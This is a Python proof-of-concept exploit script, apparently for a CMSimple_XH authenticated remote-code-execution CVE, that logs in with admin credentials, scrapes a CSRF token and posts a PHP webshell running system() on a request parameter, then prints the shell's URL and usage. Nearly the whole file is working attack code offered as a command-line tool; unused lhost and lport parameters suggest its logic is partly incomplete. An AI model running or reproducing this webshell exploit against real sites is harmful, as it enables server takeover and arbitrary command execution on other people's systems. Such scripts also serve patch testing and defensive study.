import requests
import re
import argparse
# CVE-2021-47736 PoC - CMSimple_XH Authenticated RCE
# Target: CMSimple_XH <= 1.7.4
# Vulnerability: Authenticated RCE via content editing functionality
def get_csrf_token(session, target_url):
"""Extract CSRF token from the target page"""
try:
response = session.get(target_url + '/?CMSimple_XH=1&admin=plugin_container')
match = re.search(r'name="_csrf" value="([^"]+)"', response.text)
if match:
return match.group(1)
return None
except Exception as e:
print(f"[-] Error fetching CSRF token: {e}")
return None
def exploit_cmsimple_rce(target_url, username, password, lhost, lport):
"""Exploit the authenticated RCE vulnerability"""
session = requests.Session()
# Step 1: Login as admin
login_url = target_url + '/?CMSimple_XH=1&admin=login'
login_data = {
'username': username,
'password': password,
'login': 'Login'
}
print("[*] Attempting to login...")
response = session.post(login_url, data=login_data)
if 'logged_in' not in response.text and response.status_code != 200:
print("[-] Login failed!")
return False
print("[+] Login successful!")
# Step 2: Get CSRF token
csrf_token = get_csrf_token(session, target_url)
if not csrf_token:
print("[-] Could not obtain CSRF token")
return False
print(f"[+] CSRF Token obtained: {csrf_token}")
# Step 3: Upload malicious PHP shell via content editing
upload_url = target_url + '/?CMSimple_XH=1&admin=plugin_container'
# PHP webshell payload
php_shell = f"<?php if(isset($_REQUEST['cmd'])){{ $cmd=$_REQUEST['cmd']; system($cmd); }} ?>"
upload_data = {
'_csrf': csrf_token,
'action': 'save',
'text': php_shell,
'heading': 'test.php'
}
print("[*] Uploading malicious PHP file...")
response = session.post(upload_url, data=upload_data)
if response.status_code == 200:
print("[+] PHP webshell uploaded successfully!")
print(f"[*] Shell location: {target_url}/test.php")
print(f"[*] Usage: {target_url}/test.php?cmd=<command>")
return True
else:
print("[-] Failed to upload webshell")
return False
def main():
parser = argparse.ArgumentParser(description='CVE-2021-47736 Exploit')
parser.add_argument('-t', '--target', required=True, help='Target URL')
parser.add_argument('-u', '--username', required=True, help='Admin username')
parser.add_argument('-p', '--password', required=True, help='Admin password')
args = parser.parse_args()
exploit_cmsimple_rce(args.target, args.username, args.password, None, None)
if __name__ == '__main__':
main()